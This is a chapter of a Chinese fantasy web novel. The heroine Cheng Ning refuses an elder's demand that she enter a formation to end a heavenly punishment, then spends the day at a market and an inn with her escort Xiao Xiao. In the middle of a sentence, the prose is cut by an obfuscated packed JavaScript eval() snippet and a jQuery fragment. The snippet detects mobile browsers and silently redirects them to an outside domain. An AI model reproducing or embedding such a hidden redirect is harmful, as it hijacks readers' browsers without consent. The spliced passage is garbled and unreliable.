16. 让我想想
作品:《犟种今天解除天罚了吗?》 金长老丢完老脸,势必要找回面子。
金长老越发觉得程宁的难缠程度不亚于她父亲。
当年,那样一个天资骄子一味娶一鬼族女子为妻,竟误打误撞获得了进入金门地阵的资格。
所以,在程释道逝去十五年后,他唯一留存于世的女儿,又能给人们带来怎样的惊喜呢?
这折腾劲儿,和她父亲一脉相传。
程宁和萧啸此时正荡悠在某处山间。
“你说金长老他们什么时候回追上来?”程宁将手中的叶子捏成团,一下一下朝萧啸的后脑勺砸去。
这点力度对萧啸而言并不算什么,所以他没躲。他说他也不知道。
等金长老等人赶到这山间时,只看见了程宁两人留下的一摊已经熄灭的灰烬。
他们的又一次交手是在一个名为双桥村的小地方。
暮色刚落,金普宣率先敲开一户农家的房门,原先暂住此地的程宁早已无影无踪。
农户家对面的山坡上,程宁隔着遥远的距离看着,嘴里骂着:“真是阴魂不散。”
她身后的萧啸,手里端着两个碗碟,那是程宁的饭菜。
程宁端过碗碟,就地坐下,“你说我们跑什么?”想到这她苦涩的笑,“我又没做什么坏事。”
不逃了,这个想法又萦绕在程宁心口,她对萧啸说了自己的想法。
萧啸问她:“你的不逃了是指现在冲出去与金长老等人一决生死;还是乖乖听从他们的意愿,进入金门地阵?”
“一决生死。”程宁冷冷的说,她心中剑意升腾,一决生死!
“别!”萧啸摁住她,压根不敢放手,“别!”
“也许事情会换个方式解决。”
“要是有什么其他的方式,我师父早告诉我了。”程宁扒着饭,语气平淡。
心中意念流转,决定还是先吃饭要紧。
“在这等吧。他们会找来的。我厌倦了像做贼一样四处流窜。”程宁说。
萧啸点点头,在他心中只要程宁不出现安全问题,其他的一切都可以稍后再议。
他的日志已经记了很多。
也许程宁刚开始对他生气,只是因为不熟,觉得他管的太多。
到后来两人逐渐熟络后,程宁再没对他发过脾气。
但这姑娘情感确实充沛,遇事便会惆怅,再拉着旁人说半天。
还是个犟驴。
好在犟驴有些本事,能解决一些事情,萧啸只需在一旁稍微的规劝。
大部分的规劝都要顺着程宁的脾气走。
金长老追过来的时候,程宁正在烤一只拔了毛的兔子。
百无聊赖的翻着,看见金长老也只是轻轻的掀一下脸皮,随后懒洋洋的问:“长老身上的臭味洗干净了吗?”
金长老不会纠结这个问题,他有更为重要的事情。
作为长辈,他理应承担教养后辈之责。
金氏兄妹与程宁萧啸四人,共坐一排,听着金长老的夸夸其谈。
“自女娲造人始,我们伟大的祖先就在这片土地生活,千万年来创造了伟大的文明。你我都受到了文明的恩惠,如今尔等会看着文明在我们手中断代吗?”
金氏兄妹一口同声说着不会,程宁和萧啸选择沉默。
金长老继续说:“大家的生命都只有一次,固然高贵。可若无十年前的先辈决然赴死,那你们怎会安稳坐在这里?你们的父母都做出了努力,如今轮到你们了。”
程宁算是听明白了,合着全教育她一个人了。
她心中不满,不愿受这样的教诲。她在萧啸手心一边又一边重复的画着叉。
如此多人,如此重要的命运,如此棘手的天罚,全指望她一个人。
那其他人呢?怎会如此无能呢?
“你们找不到第二个人了吗?”程宁问。
金长老重重的点头。若是能找到第二人,他何苦等待程宁长大;若是能找到第二人,他何苦跟着程宁身后辗转奔波,一把年纪还被小孩戏弄。
“我若实在不愿呢?”
“我相信你不是坏人。”金长老此言半真半假。
一方面,他不信程释道的血脉会是一个孬种。另一方面,这孩子从小未养在他身边,他实在不知这孩子的脾气秉性。
程宁扣扣耳朵,也没反驳。她往萧啸的身边挪挪,夜风有一点冷。
她又面临了一个危险的路口。
按照她的心意行事,那势必会承当巨大的风险。但要让她改口或讨好金长老的心意,她也不愿,傲骨难折。
少女天才,年轻的光芒太盛。她一直高扬着头颅,走过了枯燥难熬的修炼生涯,如今再低下头,难啊。
“你让我想想。”程宁想缓缓。
走到这一步,已经动了决一死战的心思。所以,似乎她这条命并不重要,舍了就舍了。
爹娘当年为何会愿意呢?最后后悔了吗?怎会一句话都不留给她呢。
“犹豫会害死人的。你身边的人会因为你的犹豫而受伤。”金长老像是洞察了什么。
他不断催促着年轻的姑娘,下定决心啊!早做决定!走那条生下来就命定的路吧!
“嗯……我也觉得应该缓缓。”萧啸握住程宁在她掌心不断乱动的手指。萧啸看见了程宁的悲伤。
他也曾经走过悲伤。
金氏兄妹相互交换着眼神。最终选择沉默。
势力一分两拨。
最终,程宁和萧啸还是走了。
半山坡上留下的金氏族人,他们相互议论着。
晨光中,渐行渐远的的一对年轻人,太阳将他们的影子拉得很长。
前路又会在何方,你得走进清晨的大雾中才会知道。
生命到底重不重要呢?你得亲身失去过才会知道。
金长老心中已经有了答案。
很快!很快!程宁便会和他们站在同一条道路上。
这一次就算给她放人生当中最后一个假期吧。这也是最后一次她能倚仗长辈心软,而逃脱。
一切都不会有下一次了。
昨晚夜空西边的那颗星,大凶。
昨夜的辩论像石头,重重压在程宁心口。
举目四顾,无人能解决她的问题。
于是,程宁一头扎进繁荣的集市。
热闹的场景勉强冲淡她身上的悲痛。
“这个你要吗?”程宁举着糖人问萧啸。
上一次的三个糖人,只有萧啸吃到了。这一回,她要弥补自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156737|180591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“这个好看吗?”
萧啸一律点头。
程宁有时也会想,萧啸他是温柔还是不在意。
问他好不好,他始终说好。问他对不对,他始终说对。
他从来不反驳,从来沉默的站在那里,沉默的等着程宁回头问他。
问他什么,他便回什么,多余的话语情感,从来都没有。
作朋友不是这样的,作雇佣关系……也许是这样的吧。
程宁站在糕点摊前,驻足想了会,转头问萧啸,“你不是爱吃甜食吗?要买点吗?”
“买吧。”萧啸选了几款合他心意的,又选了几款甜度稍淡,程宁应该喜欢的。
两人离开集市时,怀里已经抱满了。
身后没人再追,程宁一时闲散不知干什么。她已经很多日未曾练剑,但是她现在不想练剑。
“把你的日志本给我看看行吗?”程宁依旧伸手就要。
里面究竟会写些什么呢?她很好奇,也许她可以就着这个口子,撕开萧啸温柔的外表。
看看里面到底是红芯还是白芯。
萧啸依旧拒绝。
怎么能随便拿给程宁看呢?难道让程宁看,那些纸张上到底写了多少对她的分析?
不行的。他严肃拒绝,理由是:属于个人隐私方面,不容透露。
对话又卡在这里。
沉默间,客栈一楼的戏曲声响起了。
“看戏吧,看戏吧。”程宁敷衍着。
戏词千篇一律的唱着书生与小姐的故事,台上的两个演员又唱又哭十分卖力。
程宁随意扔下一点散碎的银钱算作打赏。
“我需要给你打赏吗?”程宁扭头问萧啸。
“打伞?”萧啸疑惑,“没下雨啊。”
“赏钱!”程宁不耐烦回答,“赏钱,你听懂了吗?感谢你陪我玩儿着一遭的赏钱。”
“不需要。”萧啸沉闷的说。
怎么又生气了?他晚上得记上这件事情。
好久了,这是程宁第二次对他生气。
“要吃点什么或者喝点什么吗?我去点。”
“随便。”程宁轻轻一吐。
随后鱼贯而入的是红烧鱼段、油爆大虾、辣子鸡丁,再配道汤,配两碟小青菜,一碟甜品,一壶清酒。
“你点这么多干嘛?我们两儿又吃不完。”程宁随心所欲的挑刺,但身体很诚实已经拿起了筷子。
酒香满室的时候,程宁已经贪杯有点小醉了。
她撑着半边脸看着萧啸,“你是谁?”
这个问题问得萧啸有点懵,他们不是已经很熟了吗?
“天字号镖局镖师,萧啸。”萧啸不知这样回答对不对,他每一个字都说的很小心。
“胡说。”程宁继续往自己嘴里送酒,“你明明不是。”
“你喝醉了。”
“我没有!你不是萧啸……至少……”程宁说的断断续续。萧啸一阵轻笑,“那我是谁?”
“你是……我……可能……”话音未落程宁已经倒在桌上睡着了。
咚的一声!她的额头和桌面有了亲密接触。
但对此,喝醉的程宁毫无觉知。
倒是萧啸放出声大笑。